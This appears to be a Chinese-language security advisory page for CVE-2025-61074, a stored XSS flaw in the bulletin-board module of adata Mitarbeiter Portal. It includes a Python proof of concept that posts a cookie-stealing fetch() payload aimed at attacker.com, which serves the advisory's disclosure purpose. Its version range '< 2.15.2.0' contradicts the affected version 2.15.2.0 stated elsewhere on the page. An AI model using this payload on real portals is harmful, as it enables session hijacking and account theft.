IPBUF安全漏洞报告
English
CVE-2025-61074 CVSS 4.6 中危

CVE-2025-61074: adata Mitarbeiter Portal 存储型XSS漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-61074
漏洞类型
存储型XSS
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
adata Software GmbH Mitarbeiter Portal 2.15.2.0

相关标签

存储型XSS跨站脚本adata Mitarbeiter PortalSchwarzeBrettCVE-2025-61074企业门户会话劫持

漏洞概述

CVE-2025-61074是adata Software GmbH公司开发的Mitarbeiter Portal企业门户软件中存在的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分4.6,严重等级为中危。该漏洞存在于系统的公告板(SchwarzeBrett)功能模块中,攻击者可以通过在消息内容中注入恶意JavaScript代码,当其他用户访问包含恶意脚本的页面时,浏览器会执行这些代码,从而实现会话劫持、窃取敏感信息、篡改页面内容等恶意操作。由于是存储型XSS,恶意代码会被永久保存在服务器端,所有访问该页面的用户都会受到影响,危害范围较反射型XSS更广。攻击者需要拥有有效的用户账号(低权限即可),并通过用户交互触发漏洞利用。

技术细节

该存储型XSS漏洞源于Mitarbeiter Portal 2.15.2.0版本的SchwarzeBrett(公告板)模块对用户输入的内容缺乏充分的输入验证和输出编码。攻击者可以利用以下两个受影响的端点进行攻击:/SchwarzeBrett/Nachrichten/CreateNachricht(创建消息)和/SchwarzeBrett/Nachrichten/EditNachricht/(编辑消息)。攻击者通过在'Inhalt'(内容)参数中插入恶意JavaScript代码(如<script>alert(document.cookie)</script>),该代码会被存储到数据库中。当其他用户查看公告板消息列表或具体消息内容时,服务器从数据库取出未经过滤的内容并嵌入到HTML页面返回给用户浏览器,浏览器将其作为JavaScript执行。由于系统未对特殊字符进行HTML实体编码,攻击者可以绕过前端显示限制,实现持久化的恶意脚本执行。攻击者可以利用此漏洞窃取用户会话Cookie、劫持用户账号、进行钓鱼攻击或传播恶意内容。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的低权限用户账号
STEP 2
步骤2
攻击者访问/SchwarzeBrett/Nachrichten/CreateNachricht或EditNachricht端点
STEP 3
步骤3
在'Inhalt'参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
服务器将恶意代码存储到数据库,未进行输入验证和输出编码
STEP 5
步骤5
其他用户访问公告板页面时,服务器从数据库取出未过滤的内容
STEP 6
步骤6
用户浏览器执行恶意JavaScript代码,导致会话劫持或敏感信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-61074 PoC - Stored XSS in adata Mitarbeiter Portal # Target: /SchwarzeBrett/Nachrichten/CreateNachricht TARGET_URL = "http://target-server/SchwarzeBrett/Nachrichten/CreateNachricht" LOGIN_URL = "http://target-server/api/auth/login" # Malicious XSS payload XSS_PAYLOAD = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" def exploit(): # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": "attacker_user", "password": "password123" } session.post(LOGIN_URL, json=login_data) # Step 2: Create message with XSS payload in 'Inhalt' parameter message_data = { "Inhalt": XSS_PAYLOAD, "Titel": "Test Message" } response = session.post(TARGET_URL, json=message_data) # Step 3: When other users view the bulletin board, # the stored script will execute in their browsers print(f"Exploit sent. Status: {response.status_code}") print(f"Payload stored: {XSS_PAYLOAD}") if __name__ == "__main__": exploit()

影响范围

adata Software GmbH Mitarbeiter Portal < 2.15.2.0

防御指南

临时缓解措施
在厂商发布修复版本之前,可临时采取以下措施:1)禁用或限制SchwarzeBrett模块的访问权限;2)部署WAF规则对公告板输入参数进行过滤,拦截包含<script>等危险标签的请求;3)启用浏览器的XSS过滤器作为临时防护;4)监控和审计公告板消息内容,及时发现和清除恶意脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表